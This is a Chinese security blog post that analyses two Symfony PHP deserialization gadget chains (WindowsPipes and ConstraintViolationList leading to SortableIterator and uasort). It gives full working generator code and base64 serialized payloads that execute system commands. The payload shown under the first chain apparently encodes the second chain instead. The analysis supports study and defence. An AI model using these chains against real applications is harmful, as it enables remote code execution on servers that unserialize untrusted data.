前段时间看到phpggc更新了Symfony的RCE反序列化,但是只有poc没有详细的解释,所以这边文章来具体分析一下Symfony组件中的一条反序列化链
Symfony 组件是一系列独立的、可重用的 PHP 软件包,它们被设计用于开发 Web 应用程序。Symfony 组件提供了许多常见的功能,如路由、表单处理、模板引擎、安全性、数据库访问等等,以便开发者能够更高效地构建和维护自己的应用程序。
这些组件可以被集成到 Symfony 框架中,也可以作为独立的库使用在任何 PHP 项目中。Symfony 组件遵循严格的开放源代码许可和设计准则,使开发者能够更加灵活地使用和定制这些功能。
通过使用 Symfony 组件,开发者可以节省时间并提高开发效率,因为它们不需要从头开始编写和测试许多常见的功能。同时,Symfony 组件的灵活性也允许开发者根据自己的需求进行定制和扩展。
安装 Symfony 组件通常是通过 Composer 来实现的,Composer 是 PHP 的一个依赖管理工具,可以帮助你轻松地安装、管理和加载 Symfony 组件及其依赖项
例如在本文中需要使用到三个组件,安装方法如下
composer init
composer require symfony/finder
composer require symfony/process:4.4.18
composer require symfony/validator
我们首先来看vendor/symfony/finder/Iterator/SortableIterator.php
,它定义了一个名为 SortableIterator
的类,实现了 IteratorAggregate
接口。
public function __construct(\Traversable $iterator, $sort, bool $reverseOrder = false)
:构造函数,接收一个可遍历的迭代器 $iterator
、排序类型或回调函数 $sort
,以及一个布尔值 $reverseOrder
用来指示是否倒序排序。
这里传入的$sort
参数通过if判断is_callable
是否可以作为函数或方法来调用,并且通过三元运算符判断将$sort
赋值给$this->sort
在下面的public function getIterator()
:实现了接口方法 getIterator()
来创建可迭代的对象,可以自定义的集合、数据结构或对象转化为可使用 foreach
循环遍历的对象。
getIterator()
方法的调用情况是当你使用 foreach
循环遍历一个 SortableIterator
对象时,迭代器将自动调用 getIterator()
方法以获取一个可遍历的迭代器来执行循环遍历操作.
注意观察在getIterator中当存在$this->sort
时会调用uasort()
uasort() 使用用户自定义的比较函数对数组按键值进行排序。
uasort(array,myfunction);
参数 描述 array 必需。规定要排序的数组。 myfunction 可选。一个定义了可调用比较函数的字符串。如果第一个参数 <, =, > 第二个参数,相应地比较函数必须返回一个 <, =, > 0 的整数。
可遍历的迭代器在前面会通过iterator_to_array
方法转换成数组,而且可以看到uasort()
中,第一个参数是一个数组,第二个可以传一个函数,而且这个两个参数可以前面的构造函数里传入,所以参数可控,我们可以传入call_user_func
等方法,就可以进行任意命令执行。
所以接下来思路就是寻找类中的__toString()
,__destruct()
或__wakeup()
中直接或间接使用了foreach
并且可以遍历的对象是类中的成员变量。
可以看到有很多这样符合条件的,但是上面说了还需要满足foreach直接或间接的通过__toString()
或__destruct()
调用。我们任意挑两处进行分析:
版本限制:2.6.0 <= 4.4.18
在vendor/symfony/process/Pipes/WindowsPipes.php
中:
在这个类中有$fileHandles
成员变量,并且在__destruct()
中调用了$this->close();
,然后在close()
使用foreach对$this->fileHandles
进行遍历。
所以可以让$this->fileHandles
为我前面创建的SortableIterator
对象,这样就会调用SortableIterator
对象中的getIterator()
方法,然后执行其中的uasort()
造成任意命令执行.
<?php
namespace Symfony\Component\Process\Pipes {
class WindowsPipes
{
private $fileHandles = [];
function __construct($fileHandles)
{
$this->fileHandles = $fileHandles;
}
}
}
namespace Symfony\Component\Finder\Iterator {
class SortableIterator
{
private $iterator;
private $sort;
function __construct($iterator, $sort)
{
$this->iterator = $iterator;
$this->sort = $sort;
}
}
}
namespace GadgetChain {
$a = new \ArrayObject(['system', 'whoami']);
$b = new \Symfony\Component\Finder\Iterator\SortableIterator($a, "call_user_func");
$c = new \Symfony\Component\Process\Pipes\WindowsPipes($b);
$str = serialize($c);
echo $str;
echo "\n";
echo base64_encode($str);
}
注意:这里生成的payload不能直接复制使用,因为如果涉及到受保护的成员在成员名,例如private
或者protected
时生成的序列化字符中会涉及空字,所以这里转换成base64
<?php
require __DIR__ . '/../vendor/autoload.php';
$str = 'Tzo1MToiU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0IjoxOntzOjYzOiIAU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0AHZpb2xhdGlvbnMiO086NTA6IlN5bWZvbnlcQ29tcG9uZW50XEZpbmRlclxJdGVyYXRvclxTb3J0YWJsZUl0ZXJhdG9yIjoyOntzOjYwOiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAaXRlcmF0b3IiO0M6MTE6IkFycmF5T2JqZWN0Ijo1NTp7eDppOjA7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjY6Indob2FtaSI7fTttOmE6MDp7fX1zOjU2OiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAc29ydCI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO319';
$a = unserialize(base64_decode($str));
?>
版本限制:2.0.4 <= 5.4.24 (all)
在vendor/symfony/validator/ConstraintViolationList.php
中:
在这个类中有$violations
成员变量,并且在__toString()
中使用foreach对$this->violations
进行遍历。同样可以让$this->violations
为我前面创建的SortableIterator
对象,这样就会调用SortableIterator
对象中的getIterator()
方法,然后执行其中的uasort()造成任意命令执行
<?php
namespace Symfony\Component\Validator {
class ConstraintViolationList
{
private $violations = [];
function __construct($violations)
{
$this->violations = $violations;
}
}
}
namespace Symfony\Component\Finder\Iterator {
class SortableIterator
{
private $iterator;
private $sort;
function __construct($iterator, $sort)
{
$this->iterator = $iterator;
$this->sort = $sort;
}
}
}
namespace GadgetChain {
$a = new \ArrayObject(['system', 'set /a 1+2']);
$b = new \Symfony\Component\Finder\Iterator\SortableIterator($a, "call_user_func");
$c = new \Symfony\Component\Validator\ConstraintViolationList($b);
$str = serialize($c);
echo $str;
echo "\n";
echo base64_encode($str);
}
由于这里是通过__toString()
触发的,所以这里通过echo来展示
<?php
require __DIR__ . '/../vendor/autoload.php';
$str = 'Tzo1MToiU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0IjoxOntzOjYzOiIAU3ltZm9ueVxDb21wb25lbnRcVmFsaWRhdG9yXENvbnN0cmFpbnRWaW9sYXRpb25MaXN0AHZpb2xhdGlvbnMiO086NTA6IlN5bWZvbnlcQ29tcG9uZW50XEZpbmRlclxJdGVyYXRvclxTb3J0YWJsZUl0ZXJhdG9yIjoyOntzOjYwOiIAU3ltZm9ueVxDb21wb25lbnRcRmluZGVyXEl0ZXJhdG9yXFNvcnRhYmxlSXRlcmF0b3IAaXRlcmF0b3IiO0M6MTE6IkFycmF5T2JqZWN0Ijo2MDp7eDppOjA7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjEwOiJzZXQgL2EgMSsyIjt9O206YTowOnt9fXM6NTY6IgBTeW1mb255XENvbXBvbmVudFxGaW5kZXJcSXRlcmF0b3JcU29ydGFibGVJdGVyYXRvcgBzb3J0IjtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX0=';
$a = unserialize(base64_decode($str));
echo $a;
?>
79 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!